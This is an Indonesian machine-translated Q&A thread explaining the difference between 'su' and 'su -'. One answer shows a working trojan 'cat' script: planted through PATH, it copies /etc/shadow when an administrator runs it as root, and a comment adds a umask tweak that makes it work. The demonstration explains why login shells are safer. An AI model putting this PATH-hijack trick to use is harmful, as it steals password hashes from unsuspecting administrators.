Mengapa kita menggunakan su - dan bukan hanya su?

178

Saya tidak mengerti mengapa su -lebih disukai daripada sulogin sebagai root.

Dharmit
sumber

Jawaban:

241

su -mengaktifkan shell login setelah beralih pengguna. Shell login me-reset sebagian besar variabel lingkungan, memberikan basis yang bersih.

su hanya mengganti pengguna, menyediakan shell normal dengan lingkungan yang hampir sama dengan pengguna lama.

Bayangkan, Anda adalah pengembang perangkat lunak dengan akses pengguna normal ke mesin dan admin Anda yang bodoh tidak akan memberi Anda akses root. Mari (semoga) menipu dia.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Sekarang, Anda bertanya kepada admin Anda mengapa Anda tidak bisa catmembuat file dummy di folder home Anda, itu tidak akan berfungsi!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Jika admin Anda tidak sepintar itu atau sedikit malas, ia mungkin datang ke meja Anda dan mencoba dengan kekuatan super-user-nya:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Terima kasih, admin super!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Hehe.

Anda mungkin memperhatikan bahwa $PATHvariabel yang rusak tidak diatur ulang. Ini tidak akan terjadi, jika admin meminta su -sebaliknya.

mengibaskan
sumber
10
su --sama dengan su.
Mikel
12
- adalah bendera yang ditafsirkan oleh sebagian besar program sebagai "tidak ada setelah ini yang harus diambil sebagai bendera". Berguna untuk memahami hal-hal yang dimulai dengan tanda hubung.
David Mackintosh
2
Jangan lupa untuk menetapkan umask000 seperti itu atau itu tidak akan berhasil.
Lekensteyn
10
Orang juga bisa memasukkan sufile ke dalam PATH. Tidak terlalu sulit untuk meniru perilaku yang sebenarnya su. Pengguna super telah ceroboh :-)
Stéphane Gimenez
10
su --BUKAN sama dengan su -: --memberi tahu penangan opsi getopt (atau yang serupa) untuk berhenti memproses baris perintah untuk opsi lebih lanjut (berguna misalnya jika sisanya berisi nama file yang dapat dimulai dengan '-'). Yaitu, di "rm-i - f": -f kemudian diperlakukan sebagai argumen biasa, jadi di sini sebagai nama file untuk rm -i, dan tidak sebagai additionnal -fpilihan untuk rmperintah. Begitu su --adil sudan tidak su -! Jadi su --akan sama tidak amannya dengan contoh (lucu dan instruktif) givan oleh wag. Gunakan su -.
Olivier Dulac
35

su -mencatat Anda sepenuhnya sebagai root, sedangkan sumembuatnya Anda berpura-pura menjadi root.

Contoh paling jelas dari hal ini ~adalah direktori home root jika Anda menggunakan su -, tetapi direktori home Anda sendiri jika Anda menggunakannya su.

Bergantung pada sistem Anda, ini juga dapat berarti perbedaan dalam PATHfile prompt ,, atau histori.

Jadi, jika Anda adalah bagian dari tim yang mengelola sistem, dan kolega Anda memberi Anda perintah untuk menjalankan, Anda tahu itu akan bekerja sama jika Anda berdua menggunakan su -, tetapi jika Anda berdua menggunakan su, mungkin ada perbedaan karena Anda memiliki konfigurasi shell yang berbeda.

Di sisi lain, jika Anda ingin menjalankan perintah sebagai root tetapi menggunakan konfigurasi Anda sendiri, maka mungkin sulebih baik untuk Anda.

Juga jangan lupa sudo, yang memiliki -sopsi untuk mulai menjalankan shell sebagai root. Tentu saja, ini memiliki aturan yang berbeda juga, dan mereka berubah tergantung pada distribusi yang Anda gunakan.

Mikel
sumber
1
ketika saya "su" saya dapatkan ~ dan $ HOME keduanya mengevaluasi ke / root. Apakah perilaku yang Anda jelaskan khusus untuk shell atau versi OS tertentu atau semacamnya? Ini pemahaman saya bahwa ~ dapat diperluas oleh kernel. Saya mendapatkan zsh sebagai shell (dan root) saya.
JasonWoof
Skrip Anda .bashrcatau /etc/bashrcatau /etc/profile.dsedang disetel PATH. Cari if [ $UID -eq 0 ]atau semacamnya.
Mikel
$USERmisalnya dibiarkan tidak berubah.
peterph
1
Bagaimana dengan sudo su?
Simon Kuang
1
Teladan Anda tidak cocok untuk saya. Saya mendapatkan direktori yang sama terselesaikan dengan cara apa pun.
Daniel W.
1

Saya menggunakan su - ketika saya berada di direktori sebagai pengguna biasa tetapi ingin beralih ke root dan tetap di direktori yang sama setelah beralih. Ketika Anda menggunakan su - ini akan memindahkan pengguna ke root dan juga membawa Anda ke / root yang merupakan direktori home root.

Calvin Dike
sumber
Atau /atau apa pun yang didefinisikan sebagai direktori home root
Jeff Schaller
-1

Perbedaan utama adalah:

su - username mengatur lingkungan shell seolah-olah itu adalah login bersih sebagai pengguna yang ditentukan, itu mengakses dan menggunakan variabel lingkungan pengguna tertentu,

su username baru saja memulai shell dengan pengaturan lingkungan saat ini untuk pengguna yang ditentukan.

Jika nama pengguna tidak ditentukan dengan sudan su -, akun root tersirat sebagai default.

Akhil MK
sumber